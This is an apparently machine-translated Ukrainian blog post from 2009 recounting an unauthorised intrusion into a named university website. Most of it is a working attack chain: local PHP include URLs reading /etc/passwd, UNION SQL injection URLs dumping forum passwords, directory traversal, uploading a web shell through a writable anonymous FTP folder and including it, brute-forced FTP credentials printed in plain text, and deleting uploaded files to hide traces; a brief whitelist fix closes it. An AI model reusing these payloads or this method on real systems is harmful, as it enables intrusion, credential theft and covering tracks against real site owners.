PHP Include, і трохи удачі.

Сьогодні ми розглянемо, до яких наслідків може призвести локальний PHP Include, скажу відразу в більш вдалих ситуаціях, наслідки можуть бути ще більш плачебны.

Збираємо Баги.

Все почалося з знайденої на сайті БГУ уразливості, в інший день і при інших обставинах, я, швидше за все не звернув би на неї уваги, але цього сайту пощастило (або не пощастило, дивлячись, як подивитися).

www.brgu.ru/index.php?openpage=/etc/passwd

Отже, ми маємо локальний PHP Include.

//…………………………….

if (@$_GET[‘openpage’])
$file=$_GET[‘openpage’];

if(file_exists($file))
include($file);

else
print (‘file not found’);

//…………………………

Він був породжений приблизно таким кодом, функція file_exists, перевіряє, чи існує такий файл на сервері, а потім, якщо існує инклудит його, таким чином, ми можемо читати файли на сервері, але потрібно мати повний шлях до файлу і відповідні права (наприклад, файл /etc/shadow, ми не прочитаємо прав не вистачить).

Перевіримо параметри на вразливість до sql ін’єкції.

www.brgu.ru/index.php?openpage=readnews.php&id=227+union+select+1,2,user(),database(),version(),6,7+limit+1,1–

Версія БД — 4.1.20 значить службової таблиці information_schema, в якій зберігаються назва всіх таблиць і стовпчиків не існує, доведеться гадати, але це виявилося не складно:

www.brgu.ru/index.php?openpage=readnews.php&id=227+union+select+1,2,password,database(),name,6,7+from+users+limit+1,1–

Отримали доступ до таблиці, у якій зберігаються облікові записи користувачів форуму, знайшли админский. Тепер нам не доведеться реєструватися, заходимо під будь-яким аккаунтом, шукаємо баги далі. Форум виглядає не дуже безпечним.дивимося на копірайти, зрозуміло форум самописний, ну що, можу сперечатися він весь в дірках.

Знову php include:

www.forum.brgu.ru/index.php?page=/etc/passwd

Пробуємо залишити повідомлення на форумі:

[sсriрt]аlеrt(‘хѕѕ’)[/sсriрt]

Выдим вискочило вікно з написом xss, так і міжсайтовий скриптінг при нас.

Отримуємо Вебшелл.

Вразливостей тут хоч відбавляй, здавалося б при такому смертельно небезпечному наборі дірок, зламати сайт не складе проблем, але насправді ми не так вже й багато маємо sql ін’єкція вичерпала свій потенціал, коли віддала нам акаунти користувачів форма, тим самим зробивши непотрібним використання xss, залишився тільки php include, тобто ми можемо проинклудить шкідливий php скрипт, але так потрібно для початку залити цей скрипт на сервер, подивившись форум ми переконалися, що залити свою аватару або взагалі заливати свої файли можливості немає.

Вже від безнадії скануючи порти я помітив, що тут варто фтп сервер і є анонімний доступ, причому папка:

ftp://www.brgu.ru/pub_rw/%C4%EE%EA%F3%EC%E5%ED%F2%E0%F6%E8/

Доступна для запису!

А що якщо проинклудить файл з фтп? потрібно спробувати!

Припустимо, існує фтп сервер, але він не надає всю файлову систему в наше розпорядження (якщо адмін не намагався цього налаштувати) а тільки окрему директорію (така директорія називається домашньою директорією фтп сервера), тобто до файлів на фтп теоретично можна звернутися і з http, тільки потрібно знати «домашній» каталог фтп сервера, шлях до нього. Приблизно так я уявляв собі структуру файлів на сервері (насправді вона виявилася іншою, але це не важливо, головне принцип)

www.brgu.ru/index.php?openpage=../

Означає піднятися на один каталог вгору, тобто мені не потрібно шукати повний шлях до домашньої теки фтп сервера, а достатньо знати лише назву папки (якщо, звичайно, сайт і домашня директорія фтп, знаходяться в одному дереві каталогів), і просто спробувати вгадати

www.brgu.ru/index.php?openpage=../ftphome
www.brgu.ru/index.php?openpage=../../ftphome
www.brgu.ru/index.php?openpage=../../../ftphome

І так поки не пропаде помилка, якщо вона пропаде, то значить, такий каталог існує, до речі, завжди можна автоматизувати процес…

Мені не довелося цього робити, бо мені посміхнулася удача!

www.brgu.ru/index.php?openpage=../../ftp/

Після я зайшов на фтп сервер і залив на нього скрипт вебшелла, а потім його проинклудил

www.brgu.ru/index.php?openpage=../../ftp/pub_rw/%C4%EE%EA%F3%EC%E5%ED%F2%E0%F6%E8/shell.php

Тепер повернемося до /etc/passwd, тут ми можемо бачити облікові записи всіх користувачів серверу, у r57, є чудова можливість, ми можемо спробувати сбрутить більш привілейовані акаунти до фтп серверу спираючись на /etc/passwd, отримуємо:

ftp:ftp
aspirantura1:aspirantura1
profcom11:profcom11

Тепер закачаємо наш шелл в інший каталог, і видалимо з фтп сервера файли, що ми заливали раніше (щоб не палітся).

Захист.

Я розповім тільки про захист від php include, оскільки, всі інші уразливості, знайдені в скриптах, не зіграли майже ні якої ролі.

Найнадійніший спосіб захиститися, це створити масив, в якому будуть зберігатися всі можливі значення змінної, і перевіряти якщо у масиві не зустрічається такого значення змінної, то, наприклад, редикет на головну сторінку сайту.

//…………………………….

$module = $_GET[‘module’];
$arr = array(‘main’, ‘about’, ‘links’, ‘forum’);
if (!in_array($module,$arr)) $module = $arr[0];
include $module. ‘.php’;

//…………………………

Висновок.

Я не ставили своєю метою отримання root на сервері і проникнення у внутрішню мережу, тому зупинився на досягнутому, сподіваюся, адміністратор зробити свої висновки з вище написаного.

22.06.09

Формат версію статті читайте в моєму блозі (http://kerny-auroras.blogspot.com/2009/08/php-include.html)